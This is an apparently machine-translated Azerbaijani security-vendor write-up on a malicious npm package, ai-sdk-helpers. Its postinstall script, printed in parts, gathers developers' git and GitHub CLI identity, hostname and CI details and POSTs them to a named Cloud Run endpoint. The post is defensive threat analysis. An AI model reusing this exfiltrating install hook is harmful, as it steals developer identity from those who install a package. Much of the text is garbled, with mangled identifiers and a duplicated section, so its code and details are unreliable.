ConsentMask npm Paketini Gizlədir Geliştirici Şəxsiyyətinin Toplanması

ConsentMask: Geliştirici Şəxsiyyətinin Toplanması Üzərində Telemetriya Razılığı Bayrağı Taxan Bir NPM Paketi

TL; DR

Tək bir npm paketi, ai-sdk-köməkçiləri, özünü Vercel AI SDK üçün istehsal alətləri dəsti kimi təqdim edir və xərc izləmə, provayder ehtiyatı və yayım köməkçiləri təklif edir.

Onun quraşdırma vaxtı skripti təsvir edən cilalanmış açıqlama banneri ilə açılır anonim diaqnostika, heç bir mənbə kodunun, tokenlərin və ya etimadnamələrin ötürülməyəcəyinə söz verərək, a-ya hörmət edir DO_NOT_TRACK imtina və telemetriya siyasəti səhifəsinə keçid.

Eyni skript daha sonra geliştiricinin git kimliyini, GitHub CLI konfiqurasiyasını, maşın host adını, OS istifadəçi adını, işçi qovluğunu və CI provayderini oxuyur.

Həmin məlumatlar JSON olaraq Google Cloud Run son nöqtəsinə göndərilir və bu da göstərilən telemetriya siyasəti ilə toplanan faktiki sahələr arasında açıq-aydın uyğunsuzluq yaradır.

Paket 83 saniyəlik bir fasilə ilə iyirmi iki versiyada yayımlandı və quraşdırma skripti bütün bayraqlanmış versiyalarda bayt-bayt eynidir.

Bizim tərəfimizdən nəzərdən keçirilmiş səkkiz versiyadan yeddisi pipeline razılıq bannerinin stilistikası qanuni telemetriya kimi oxunduğu üçün ML təsnifatçısı tərəfindən qeyri-müəyyən qiymətləndirildi.

Biz təsnif edirik ai-sdk-helpers quraşdırma zamanı tərtibatçı şəxsiyyətinin toplanması və sızdırılmasına əsaslanaraq zərərli kimi.

Şiddət: yüksək.

 Quraşdırmanın anatomiyası

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

quraşdırma sonrası avtomatik olaraq işləyir npm yükləyin, paketin reklam edilən kodlarından hər hansı biri idxal edilməzdən əvvəl. Skript skriptlər/postinstall.js quraşdırma vaxtı davranışının hamısının yaşadığı yerdir.

Məxfiliyə həssas açıq mənbəli layihənin reyestrində yazılmış şərh bloku və icra müddəti bildirişi ilə açılır:

>ai-sdk-helpers quraşdırdığınız zaman, biz tez bir mühit uyğunluğu yoxlamasını aparırıq və anonim diaqnostika barədə məlumat veririk... Məlumatlar tamamilə anonimdir — biz platformanızı, Node versiyanızı və maşın identifikatorunuzun birtərəfli heşini toplayırıq. Heç bir mənbə kodu, token və ya etimadnamə ötürülmür.

Hətta fayldakı ilk icra edilə bilən kod olan işləyən imtina qapısını da işə salır:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

bu qapını əvvəlcə bağlamaq, qalan hissəsinin razılaşdırılmış kimi oxunmasına səbəb olur: quran bir geliştirici `D_İZLƏMƏYİN` quraşdırmanın səssizcə tamamlandığını görür və paketin konvensiyaya uyğun olaraq bağlanmasını təmin edir. Hörmətli imtina gerçəkdir. Onu təyin etməyən hər kəs üçün, bildirişin adlandırdığı daha dar "platforma, Node versiyası və birtərəfli heş" deyil, aşağıda təsvir edilən kolleksiyadır.

Həmin qapının altında, skript təsvirdən xeyli kənara çıxan bir faydalı yük toplayır.

  • *Gşəxsiyyət.* rhəll etməkScmŞəxsiyyət()` başlar `~.gitconfig`,`~.config/git/config`,və mövcud layihənin `.it/config`,`[-ni təhlil edirser]` bölməsini açır və konfiqurasiya edilmişi qaytarır commit e-poçt. Əgər heç bir konfiqurasiya faylı bir e-poçt vermirsə, o, `G`-yə qayıdırT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,və `EAIL` ətraf mühit dəyişənləri. Funksiyanın üstündəki docstring oxunuşu "eyni şəxsə məxsus maşınlar (məsələn, noutbuk + CI) arasında təkrarlanan quraşdırmaları aradan qaldırmaq" yolu kimi çərçivəyə salır — bu, hər bir geliştirici üçün sabit identifikator tələb edən bir məqsəddir. commit e-poçt təchizatı.
  • *GtHub hesabı.* rhəllGitHubIdentity()` başlar `~.config/gh/hosts.yml` və `~.config/gh/hosts.yaml` geliştirici identifikasiya etdikdə və regex-u çıxardıqda GitHub CLI tərəfindən yazılmış konfiqurasiya faylıer:` və `exəstə:` sahələr. Həmin fayl həmçinin GitHub OAuth tokenini saxlayır; skriptin regexi xüsusi olaraq istifadəçi adı və e-poçt sətirlərini hədəf alır və tokeni çıxarmır. Buna görə də, açıqlama bannerinin "heç bir token ötürülmür..." iddiası, ətrafdakı hesab identifikatorları oxunub göndərilərkən, sözün əsl mənasında həmin sahə üçün doğrudur.
  • *Hst və CI barmaq izi.* sonra skript `o` toplayır.hostname()`,`o.userInfo().istifadəçi adı`,Node versiyası, platforması və arxitekturası, `pocess.cwd()`,və səkkiz provayder üçün mühit dəyişənlərini yoxlamaqla həll edilən CI-provayder etiketi (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite və iki ümumi CI bayrağı). Provayder siyahısı skriptin harada icra etməsini gözlədiyinin inventarı kimi oxunur - interaktiv qabıqlar və avtomatlaşdırılmış quruluş. pipelines eynidir.

Bütün bunlar tək bir `d`-də qruplaşdırılıbaqnostiklər obyekt, hər bir geliştirici üçün sahələr `i` altında toplanırvarlıq` ey və `r altındakı ana məlumatlarıvaxt və `cntext` eys, sonra seriyalaşdırılıb ötürülür:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Cavab ləğv edilir və bütün səhvlər udulur — şərhdə qeyd olunur ki, “telemetriya heç vaxt quraşdırmanı pozmamalıdır”. Son nöqtə host adı Google Cloud Run xidmətini kodlaşdırırrope-west1` bölgə.

Boşluq hekayənin özəyidir. Bannerdə üç məlumat kateqoriyası adlandırılır — platforma, node versiyası, maşın identifikatoru heşi. Faydalı yük geliştiricinin real gitini göndərir. commit e-poçt, onların GitHub istifadəçi adı və e-poçtu, maşın host adı və OS hesab adı, layihə yolu və CI mühiti. *p müəyyən edən sahələrrson və onların hesabları* açıqlamada buraxılmış sahələr tam olaraq.

README digər tərəfdən çərçivəni gücləndirir. Onun “Telemetriya” bölməsi anonimlik iddiasını təkrarlayır və `D` sözünü əlaqələndirir._İZLƏMƏYİN` o `cnsoledonottrack.com`,imtina konvensiyasını sənədləşdirən real icma səhifəsi — tanınmış məxfilikdən istifadə standard bildirişin adi oxunuşunu təmin etmək.

İş qrafiki

Bu, çox qısa və çox sıx nəşr tarixçəsinə malik tək paketli bir tapıntıdır. İzləmək üçün çoxhəftəlik bir kampaniya qövsü yoxdur — bütün versiya çeşidi maşın sürəti ilə irəlilədi.

Nə vaxt (UTC) hadisə
2026-06-03 20:31:20 Birinci versiya (0.1.0) npm-də dərc olunub.
2026-06-03 20:31:20 – 20:32:43 Bütün 22 versiya (0.1.0 vasitəsilə 1.4.2) 83 saniyəlik avtomatlaşdırılmış partlayış şəklində dərc edilib.
2026-06-04 Səkkiz versiya aşkarlama siqnalları ilə işarələndi; əl ilə təhlil quraşdırma zamanı şəxsiyyətin toplanması və çıxarılmasını təsdiqləyir. Paket təhlil zamanı npm-də aktiv qaldı.

22 semantik versiya üzrə 83 saniyəlik pəncərənin özü davranış göstəricisidir: versiya nərdivanı (`01.0`,`01.1`,... `14.2`)Bir skriptli işə salınmada istehsal olunan buraxılış tarixçəsi ilə aktiv şəkildə saxlanılan layihənin səthini təqdim edir. Quraşdırma skripti bu pilləkən boyunca dəyişmir — aşağıya baxın.

Kompromis göstəriciləri

Quraşdırma vaxtı yükü dərc olunmuş versiya diapazonunda eynidir. A `dff` f`sripts/postinstall.js` `0 versiyası arasında2.1` nd versiyası `14.2` heç bir fərq qaytarmır; davranış təkamül edən faydalı yük deyil, sabit bir barmaq izidir.

şəbəkə

22 semantik versiya üzrə 83 saniyəlik pəncərənin özü davranış göstəricisidir: versiya nərdivanı (`01.0`,`01.1`,... `14.2`)Bir skriptli işə salınmada istehsal olunan buraxılış tarixçəsi ilə aktiv şəkildə saxlanılan layihənin səthini təqdim edir. Quraşdırma skripti bu pilləkən boyunca dəyişmir — aşağıya baxın.

Kompromis göstəriciləri

Quraşdırma vaxtı yükü dərc olunmuş versiya diapazonunda eynidir. A `dff` f`sripts/postinstall.js` `0 versiyası arasında2.1` nd versiyası `14.2` heç bir fərq qaytarmır; davranış təkamül edən faydalı yük deyil, sabit bir barmaq izidir.

şəbəkə

Göstərici Rol
npm-package-logger-228835561205.europe-west1.run.app JSON yüklənmələri ilə HTTPS POST sorğularını qəbul edən eksfiltrasiya son nöqtəsi. Google Cloud Run-da yerləşdirilib europe-west1 rayon.

Aldatma infrastrukturu

Göstərici Rol
ai-sdk.guide Paket ana səhifəsi və "AI SDK Guide" müəllif kimliyini dəstəkləyən canlı sayt.
ai-sdk.guide/telemetry Quraşdırma vaxtı açıqlama bildirişində istinad edilən telemetriya siyasəti URL-i.
hello@ai-sdk.guide Müəllifin e-poçt ünvanı elan edildi package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Paket tərəfindən elan edilən mənbə deposu.

Quraşdırma zamanı oxunan fayllar

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` E-poçt
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `exəstə

Davranış əlamətləri

  • – m `pstinstall` paketlənmiş Node skriptini işə salan ook
  • – imtina qapısı (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_İZLƏMƏYİN`)şəxsiyyət toplama prosesindən əvvəl məxfilik xüsusiyyəti kimi təqdim olunur
  • – git email, GitHub identifikasiyası, hostname, OS istifadəçi adı, cwd və CI etiketini ehtiva edən JSON obyektinin tbound HTTPS POST-u
  • – sürətlə dərc olunan versiya nərdivanında eyni quraşdırma skripti

 Atribut və Müşahidə Edilən Davranış
Paket və reyestr metaməlumatlarının qeydlərindən başqa heç nəyi aid etmirik.

Qeydin npm saxlayıcısı hesabdırielsimon`,ünvanı iləiel@vigilance.security`.Reyestrdə həmin e-poçt təsdiqlənməmiş, hesabın mənbə nəzarəti şəxsiyyəti isə təsdiqlənməmiş kimi göstərilir.ckage.json`,ayrıca olaraq, müəllifi “Süni intellekt SDK Bələdçisi” kimi təqdim edirello@ai-sdk.guide>`”ana səhifəsi ilə-sdk.guide` və `g` altında mənbə deposuthub.com/ai-sdk-guide` təşkilatı. Nəşriyyat hesabının elektron poçt domeni (`vigilance.security`)və paketdəki müəllif şəxsiyyəti (`a-sdk.guide`)fərqli domenlərdir.

"A"-sdk.guide` ite canlıdır və cavab verir və `/elementmetriya ath həll edir — aldatma şəxsiyyəti ölü bir keçid əvəzinə əlçatan bir veb varlığı ilə dəstəklənir ki, bu da paketin çərçivəsinin etibarlılığını artırır.

**Müşahidə olunan imkan.** Quraşdırma zamanı paket geliştirici şəxsiyyətini və hesab konfiqurasiya fayllarını oxuyur, host və CI mühitini izləyir və nəticəni operator tərəfindən idarə olunan son nöqtəyə ötürür, eyni zamanda daha dar və anonimləşdirilmiş məlumat dəstini təsvir edən bildiriş göstərir. Biz bu davranışı təsvir edirik; bunun üçün heç bir səbəb irəli sürmürük. Paketi qiymətləndirən oxucular - nəşriyyat şəxsiyyətini tanıyan hər hansı bir tərəf də daxil olmaqla - bildirilən və faktiki məlumat axınları arasındakı müşahidə edilə bilən uyğunsuzluğu qiymətləndirməlidirlər.

Müdafiəçilər üçün təsir, tendensiyalar və rəhbərlik

Kim məruz qalır. Quraşdıran hər kəs ai-sdk-köməkçiləri — birbaşa və ya tranzitiv asılılıq kimi — kolleksiyanı həmin maşında işlədir. Çünki tetikleyici quraşdırma sonrası, məlumat axınının baş verməsi üçün reklam edilən kitabxana kodunun heç vaxt idxal edilməsinə ehtiyac yoxdur; təkcə quraşdırma kifayətdir. Ən yüksək dəyərli mühitlər konfiqurasiya edilmiş git identifikasiyası və təsdiqlənmiş GitHub CLI-si olan geliştirici iş stansiyaları və skriptin CI-provayderi aşkarlanması kolleksiyanın build daxilində işləməsinin gözlənildiyini göstərən CI çalışdırıcılarıdır. pipelineeləcə də noutbuklarda.

Nə ifşa edir. Ümumi halda tətbiq sirləri deyil — faydalı yük mərkəzləşib identiklik: geliştiricinin commit e-poçt, onların GitHub hesab adı və e-poçtu, maşın və hesab adları və layihə yolu. Bu, əvvəlcədəncisPaketi kimin, hansı maşına, hansı depoya və hansı CI sistemi altında quraşdırdığını göstərən e xəritəsi. Bir təşkilat üçün, birlikdə götürülmüş bir neçə belə qeyd, hansı mühəndislərin və hansı sistemlərin asılılığı aradan qaldırdığını sadalayacaq - bu, daha hədəflənmiş izləmə fəaliyyətinin sələfi kimi faydalıdır, baxmayaraq ki, bu paketin öz davranışı toplama və ötürmədə dayanır.

Trend: telemetriya örtük kimi. Qanuni geliştirici alətləri anonim quraşdırma diaqnostikasını və bunu hörmətlə etmək üçün konvensiyaları toplayır - açıqlama bildirişi, a İZLƏMƏYİN şərəf, imtina bayrağı, siyasət URL-i — yaxşı məlumdur. ai-sdk-köməkçiləri bu dörd konvensiyanın hamısını səliqəli şəkildə təkrarlayır və onlardan şəxsiyyət məlumatlarını toplamaq üçün qablaşdırma kimi istifadə edir. Razılıq bannerinin, işləyən imtinanın və ya məxfilik siyasəti linkinin olması paketin etibarlı olduğuna dair dəlil deyil; bu nəzarətləri təqlid etmək ucuzdur. Yeganə etibarlı yoxlama kodun əslində nə oxuduğu və onu hara göndərdiyidir.

Bu qablaşdırma həmçinin avtomatlaşdırılmış çeşidləmə üzərində ölçülə bilən təsirə malikdir. Bütün versiyalarımızda pipeline nəzərdən keçirildi, quraşdırma skriptinin sadə dildə şərhləri, strukturlaşdırılmış sahə adları və ənənəvi imtina qapısı adi telemetriya kimi qiymətləndirildi: səkkizdən yeddisi geri qayıtdı qeyri-mümkün zərərli deyil, ML təsnifatçısından. Qeyri-müəyyənliyi həll edən siqnal nəsrdə deyil - skriptin açdığı xüsusi fayllardadır (~/.gitconfig, ~/.config/gh/hosts.yml) və göndərdiyi təyinat yeri. Açıqlamanı oxuyan və orada dayanan avtomatlaşdırılmış və ya insan rəyçisi səhv nəticəyə gələcək; qərar məlumat axını faktlarından gəlməlidir.

Müdafiəçilər üçün təlimat:

  • Varsayılan olaraq skriptlər deaktiv edilmiş şəkildə quraşdırın — npm quraşdırma –ignore-scripts, və ya təyin edin ignore-scripts=true in .npmrc və yoxlanılmış qurma addımlarını açıq şəkildə yerinə yetirir. Bu, neytrallaşdırır quraşdırma sonrası- hər tərəfdən kolleksiyanı tetikledi.
  • İmtina nəzarətlərinə etibar siqnalları kimi yanaşmayın. A İZLƏMƏYİN yoxlama və ya “telemetriya siyasəti” linki, qapı qurulmadıqda skriptin topladığı məlumatlar haqqında heç nə demir.
  • Süni intellekt ekosistem köməkçi paketlərini qəbul etməzdən əvvəl quraşdırma təlimatlarını oxuyun. Vercel süni intellekt SDK sahəsi sürətli hərəkət edən, yüksək etibarlı hədəfdir; quraşdırma sonrası toxunan ~/.gitconfig or ~/.config/gh/ ətrafdakı şərhlərin necə yazıldığından asılı olmayaraq, aydın bir siqnaldır.
  • Quruluş zamanı çıxışı izləyin. Çıxış HTTPS POÇTU npm yükləyin, xüsusən də yeni təmin edilmiş bulud funksiyası son nöqtəsi üçün, şəbəkə səviyyəsində müşahidə edilə bilər və CI mühitləri üçün güclü aşkarlama nöqtəsidir.
  • Sıxılmış versiya pilləkənlərinə diqqət yetirin. Bütün semantik versiya tarixçəsi saniyələr ərzində dəyişməz quraşdırma skripti ilə birlikdə görünən bir paket, istehsal olunmuş texniki xidmət tarixçəsini təqdim edir.
sca-tools-proqram-kompozisiya-analiz-alətləri
Proqram təminatı risklərinizi prioritetləşdirin, aradan qaldırın və təhlükəsizləşdirin
Pulsuz Hesabınızı əldə edin.
Kredit kartı tələb olunmur.

Proqram təminatınızın hazırlanması və çatdırılmasını təmin edin

Xygeni Məhsul Dəsti ilə